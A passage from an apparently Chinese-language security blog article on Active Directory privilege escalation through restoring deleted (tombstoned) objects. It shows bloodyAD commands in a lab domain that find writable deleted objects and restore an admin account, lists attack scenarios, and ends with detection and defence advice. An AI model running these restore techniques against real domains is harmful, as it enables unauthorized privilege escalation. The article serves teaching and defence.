&lt;span class="s1"&gt;&amp;#39;(&amp;amp;(isDeleted=TRUE)(sAMAccountName=test_pc3$))&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;ntsecuritydescriptor&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-resolve-sd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;test_pc3&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;0ADEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c9e8a129-f77f&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4159&lt;/span&gt;&lt;span class="n"&gt;-b700&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;3c8fd06963fe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Owner&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Domain&lt;/span&gt; &lt;span class="n"&gt;Admins&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DACL_PRESENT&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="n"&gt;SELF_RELATIVE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;28&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ALLOWED&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;28&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Trustee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;28&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Right&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GENERIC_ALL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;28&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObjectType&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;28&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CONTAINER_INHERIT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;INHERITED&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=Users,DC=bloody,DC=corp&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;ntsecuritydescriptor&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-resolve-sd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Owner&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Domain&lt;/span&gt; &lt;span class="n"&gt;Admins&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DACL_AUTO_INHERITED&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="n"&gt;DACL_PRESENT&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="n"&gt;SACL_AUTO_INHERITED&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="n"&gt;SELF_RELATIVE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ALLOWED&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Trustee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Right&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CREATE_CHILD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObjectType&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CONTAINER_INHERIT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="flex px-4 py-3 mb-6 rounded-md bg-primary-100 dark:bg-primary-900"&gt;
&lt;span class="pr-3 pt-1 text-primary-600 dark:text-primary-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m11.25 11.25l.041-.02a.75.75 0 0 1 1.063.852l-.708 2.836a.75.75 0 0 0 1.063.853l.041-.021M21 12a9 9 0 1 1-18 0a9 9 0 0 1 18 0m-9-3.75h.008v.008H12z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;span class="dark:text-neutral-300"&gt;默认情况下，只有域管理员可以列出和恢复已删除对象。&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;SharpHound即使以域管理员身份运行，也不会收集已删除对象，尽管文档中提到可以（&lt;a href="https://bloodhound.specterops.io/collect-data/permissions#granting-access-to-the-deleted-objects-container-optional" target="_blank" rel="noopener"&gt;见BloodHound文档&lt;/a&gt;）。&lt;br&gt;
因此BloodHound CE &lt;strong&gt;无法&lt;/strong&gt;检测已删除对象带来的权限提升机会。&lt;/p&gt;
&lt;h2 id="真实场景"&gt;真实场景&lt;/h2&gt;
&lt;p&gt;一旦攻击者确保对已删除对象、OU和&lt;strong&gt;Restore Tombstoned&lt;/strong&gt;权限具备足够权限：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-include-del&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;garbage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;0ADEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c9e8a129-f77f&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4159&lt;/span&gt;&lt;span class="n"&gt;-b700&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;3c8fd06963fe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;permission&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;WRITE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;&lt;/span&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DistinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;permission&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CREATE_CHILD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;即可通过sAMAccountName或objectSID轻松恢复对象：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="n"&gt;restore&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;S-1-5-21-1394970401-3214794726-2504819329-1104&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;21&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1394970401&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3214794726&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2504819329&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1104&lt;/span&gt; &lt;span class="n"&gt;已成功恢复到&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;garbage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;场景示例：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;场景1：恢复已删除的管理员用户&lt;/strong&gt;&lt;br&gt;
攻击者拥有恢复权限后，恢复一个被删除的域管理员账户。由于该账户保留SID和组成员关系，立即恢复高权限。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;场景2：SID历史注入&lt;/strong&gt;&lt;br&gt;
恢复带有特权SID历史的已删除用户对象，用于绕过组成员检查。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;场景3：ACL利用&lt;/strong&gt;&lt;br&gt;
已删除组仍被关键资源的ACL引用。攻击者恢复该组并将自己加入，从而获得访问权限。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="flex px-4 py-3 mb-6 rounded-md bg-primary-100 dark:bg-primary-900"&gt;
&lt;span class="pr-3 pt-1 text-primary-600 dark:text-primary-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m11.25 11.25l.041-.02a.75.75 0 0 1 1.063.852l-.708 2.836a.75.75 0 0 0 1.063.853l.041-.021M21 12a9 9 0 1 1-18 0a9 9 0 0 1 18 0m-9-3.75h.008v.008H12z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;span class="dark:text-neutral-300"&gt;有一台HTB靶机叫&lt;a href="https://www.hackthebox.com/machines/tombwatcher" target="_blank" rel="noopener"&gt;TombWatcher&lt;/a&gt;可供练习。&lt;/span&gt;
&lt;/div&gt;
&lt;h2 id="检测与防御"&gt;检测与防御&lt;/h2&gt;
&lt;p&gt;为防御这些威胁，安全团队可：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;监控恢复操作&lt;/strong&gt;&lt;br&gt;
跟踪谁何时恢复了对象。可通过事件日志和SIEM集成实现。&lt;br&gt;
通过事件日志中的 &lt;em&gt;A directory service object was undeleted&lt;/em&gt; 事件5138进行监控：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无论是否启用回收站，都需启用&lt;code&gt;Directory Service Changes&lt;/code&gt;审计：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;AuditPol&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;subcategory&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Directory Service Changes&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;failure&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;enable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;或通过组策略：&lt;br&gt;
&lt;code&gt;计算机配置 &amp;gt; 策略 &amp;gt; Windows设置 &amp;gt; 安全设置 &amp;gt; 高级审核策略配置 &amp;gt; 审核策略 &amp;gt; DS访问
启用审核目录服务更改&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;容器（如CN=Users）或域对象需配置SACL以审计创建操作。使用Active Directory用户和计算机（ADUC）并启用高级功能，右键容器→属性→安全→高级→审核，添加“创建所有子对象”审核项（域对象请启用继承）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后在事件查看器 &amp;gt; Windows日志 &amp;gt; 安全 &amp;gt; &lt;a href="https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5138" target="_blank" rel="noopener"&gt;事件5138&lt;/a&gt;中查看：&lt;/p&gt;
&lt;p&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="事件5138"
srcset="https://cravaterouge.com/articles/ad-bin/event-5138_hu_12f9974057baabf6.webp 320w, https://cravaterouge.com/articles/ad-bin/event-5138_hu_73a8c0005cb0b2ec.webp 480w, https://cravaterouge.com/articles/ad-bin/event-5138_hu_b352c7d5d045758b.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ad-bin/event-5138_hu_12f9974057baabf6.webp"
width="760"
height="649"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;清理敏感属性&lt;/strong&gt;&lt;br&gt;
删除前，移除对象的特权组成员关系和SID历史。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;调整保留期&lt;/strong&gt;&lt;br&gt;
默认保留期为180天，可根据公司策略通过以下属性调整：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;tombstoneLifetime&lt;/span&gt; &lt;span class="n"&gt;-v&lt;/span&gt; &lt;span class="mf"&gt;60&lt;/span&gt;
